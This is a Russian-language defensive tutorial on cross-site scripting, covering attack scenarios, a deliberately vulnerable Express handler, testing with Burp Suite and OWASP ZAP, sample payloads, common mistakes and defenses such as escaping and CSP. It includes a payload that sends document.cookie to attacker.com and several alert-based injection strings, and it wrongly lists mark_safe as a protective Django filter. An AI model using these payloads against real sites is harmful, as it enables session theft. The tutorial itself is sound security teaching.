XSS: как не дать хакерам выполнить код в браузере пользователя

Когда мы говорим об XSS, большинство сразу вспоминает учебные примеры с <script>alert('xss')</script> в полях ввода. Но на практике всё сложнее: это не просто уязвимость, а целая экосистема, где сочетаются слабые места в коде, неверные настройки сервера, ошибки в логике обработки данных и даже человеческий фактор. Давайте разберёмся, как это работает в реальных проектах, какие инструменты использовать для защиты и где чаще всего ошибаются команды.


Проблема: почему XSS — это не просто "вредоносный скрипт"

XSS (Cross-Site Scripting) — это уязвимость, при которой атакующий может вставить и выполнить произвольный JavaScript-код в браузере жертвы. Но на практике это не ограничивается простым alert(). Вот реальные сценарии, с которыми сталкиваются команды:

  1. Кража сессий: Хакер вставляет скрипт, который отправляет document.cookie на свой сервер. Если у пользователя активна сессия, атакующий получает доступ к его учётной записи.
  2. Phishing 2.0: Вместо фишинговых писем атакующий меняет интерфейс сайта (например, форму входа) так, что пользователь вводит данные на поддельной странице, но думает, что это оригинал.
  3. Keylogging: Скрипт записывает все нажатия клавиш пользователя и отправляет их злоумышленнику.
  4. ДDoS через браузер: Если сайт не ограничивает выполнение JavaScript, атакующий может заставить браузеры жертв отправлять тысячи запросов на сервер, создавая нагрузку.
  5. Утечка данных: Скрипт может собирать личные данные (например, из формы профиля) и отправлять их наружу.

Важно понимать, что XSS работает только в контексте браузера пользователя. Сервер не выполняет этот код, поэтому защита на стороне сервера (например, валидация данных) — это только часть решения.


Практика: как XSS проникает в код

Чтобы понять, как защищаться, нужно знать, где обычно появляются уязвимости. Вот типичные пути:

1. Неэкранированный вывод пользовательского ввода

Самый распространённый случай — когда данные из формы, комментариев или URL не проходят через фильтрацию и попадают в HTML-разметку.

Пример уязвимого кода (Node.js + Express):

app.get('/profile', (req, res) => {
  const userInput = req.query.name; // Пользователь ввёл: <script>stealCookies()</script>
  res.send(`
    <html>
      <body>
        <h1>Привет, ${userInput}!</h1> <!-- Вредоносный код попадает в HTML -->
      </body>
    </html>
  `);
});

Здесь userInput напрямую вставляется в HTML, и если пользователь передаст <script>...</script>, код выполнится.

2. Неправильная обработка JSON

Многие API возвращают JSON с пользовательскими данными, которые потом рендерятся на клиенте. Если данные не экранируются, атакующий может внедрить скрипт.

Пример уязвимого JSON-ответа:

{
  "user": {
    "name": "<img src=x onerror=alert('xss')>",
    "bio": "Люблю хакинг"
  }
}

Если этот JSON парсится и сразу рендерится в DOM без обработки, скрипт сработает.

3. Внешние скрипты и библиотеки

Если сайт подгружает скрипты из неконтролируемых источников (например, через src="user_provided_url.js"), атакующий может заменить их на вредоносные.


Примеры и инструменты для тестирования

Чтобы проверить систему на наличие XSS, нужны реальные инструменты и сценарии. Вот несколько практических примеров:

1. Тестирование с помощью Burp Suite

Burp Suite — это инструмент для веб-тестирования, который позволяет перехватывать и модифицировать запросы.

Шаги для поиска XSS:

  1. Включите перехват в Burp (Proxy → Intercept is on).
  2. Отправьте запрос с пользовательским вводом, например:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  3. Если ответ сервера отобразится как есть, у вас XSS.

Пример запроса с payload:

GET /profile?name=<script>alert(1)</script> HTTP/1.1
Host: vulnerable-site.com

2. Автоматизированное сканирование с OWASP ZAP

OWASP ZAP может автоматически искать XSS в приложении.

Команда для запуска сканирования:

zap-baseline.py -t http://target-site.com -r report.html

В отчёте будут указаны потенциально уязвимые параметры.

3. Ручное тестирование с помощью XSS-payloads

Вот несколько полезных payloads для ручного тестирования:

  • Скрытый скрипт:
    <svg onload=alert(1)>
    
  • Использование событий:
    <img src=x onerror=alert(1)>
    
  • DOM-based XSS (если данные обрабатываются в JS):
    window.location = "javascript:alert(1)";
    

Типичные ошибки и как их избежать

Многие команды допускают одни и те же ошибки при защите от XSS. Вот самые распространённые:

  1. Отсутствие экранирования при выводе данных

    • Ошибка: Просто вставлять пользовательский ввод в HTML без обработки.
    • Исправление: Использовать библиотеки для экранирования, например, DOMPurify (для клиента) или xss (для Node.js).

    Пример с библиотекой xss (Node.js):

    const xss = require('xss');
    const cleanInput = xss(userInput); // Экранирует теги и атрибуты
    res.send(`<h1>${cleanInput}</h1>`);
    
  2. Игнорирование атрибутов HTML

    • Ошибка: Экранировать только теги <script>, но забывать про атрибуты типа onerror, onclick.
    • Исправление: Использовать строгие библиотеки экранирования, которые обрабатывают все потенциально опасные атрибуты.
  3. Неправильная обработка URL

    • Ошибка: Разрешать произвольные схемы в href или src, например, javascript:alert(1).
    • Исправление: Валидировать и экранировать все URL, особенно если они используются в атрибутах.
  4. Забывчивость с DOM-based XSS

    • Ошибка: Думать, что XSS только на сервере, и не проверять клиентскую логику.
    • Исправление: Анализировать JavaScript-код на наличие конструкций типа:
      document.write(userInput); // Опасно!
      
  5. Отсутствие CSP (Content Security Policy)

    • Ошибка: Не настраивать CSP, который ограничивает источники скриптов.
    • Исправление: Добавить заголовок Content-Security-Policy в ответ сервера:
      Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
      

Защита: что делать на практике

Теперь о конкретных шагах, которые помогут закрыть XSS-уязвимости в реальном проекте.

1. Экранирование на сервере

Используйте библиотеки для экранирования данных перед выводом в HTML. Например:

  • Для Node.js: xss

    const xss = require('xss');
    const safeInput = xss(userInput);
    
  • Для Python (Django): Используйте шаблонные фильтры или mark_safe.

    from django.utils.html import escape
    safe_input = escape(user_input)
    

2. Использование CSP (Content Security Policy)

CSP помогает ограничить источники, откуда могут загружаться скрипты. Минимальная настройка:

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';

Но лучше избегать 'unsafe-inline' и 'unsafe-eval', если это возможно.

3. Валидация и санкционирование ввода

Не доверяйте никаким данным, даже если они кажутся безопасными. Используйте белые списки для разрешенных значений.

Пример валидации в Node.js:

function isSafeUsername(username) {
  const safePattern = /^[a-zA-Z0-9_]{3,20}$/;
  return safePattern.test(username);
}

4. Обновление библиотек

Многие уязвимости появляются из-за уязвимых версий библиотек. Регулярно обновляйте зависимости:

npm audit fix
# или для Python
pip list --outdated

5. Тестирование и ревью кода

  • Ручной ревью: Проверяйте все места, где данные выводятся в HTML или обрабатываются в JavaScript.
  • Автоматизация: Используйте линтеры с плагинами для поиска XSS, например, eslint-plugin-security для JavaScript.

Вывод: как не допустить XSS в продакшене

XSS — это не просто теоретическая угроза, а реальная проблема, с которой сталкиваются даже опытные команды. Вот ключевые выводы, которые помогут избежать ошибок:

  1. Всегда экранируйте данные перед выводом в HTML, даже если они кажутся безопасными. Используйте проверенные библиотеки (xss, DOMPurify и др.).

  2. Настраивайте CSP с самого начала. Это не панацея, но значительно усложнит жизнь хакерам.

  3. Не игнорируйте DOM-based XSS. Проверяйте клиентскую логику так же тщательно, как и серверную.

  4. Автоматизируйте проверки. Используйте инструменты типа OWASP ZAP, Burp Suite или линтеры для поиска уязвимостей на ранних стадиях.

  5. Обновляйте зависимости. Многие XSS-уязвимости появляются из-за уязвимых библиотек.

  6. Проводите регулярные аудиты. Даже если вы уверены в безопасности кода, со временем могут появляться новые уязвимости.

Практический шаг для команды: Создайте чеклист для ревью кода, который включает:

  • Проверку экранирования данных.
  • Наличие CSP.
  • Отсутствие innerHTML, document.write и других опасных методов.
  • Валидацию пользовательского ввода.

Если вы следуете этим правилам, риск XSS-уязвимостей в вашем проекте значительно снизится. Но помните: безопасность — это процесс, а не разовая задача. Регулярно тестируйте, обновляйте и пересматривайте свои подходы.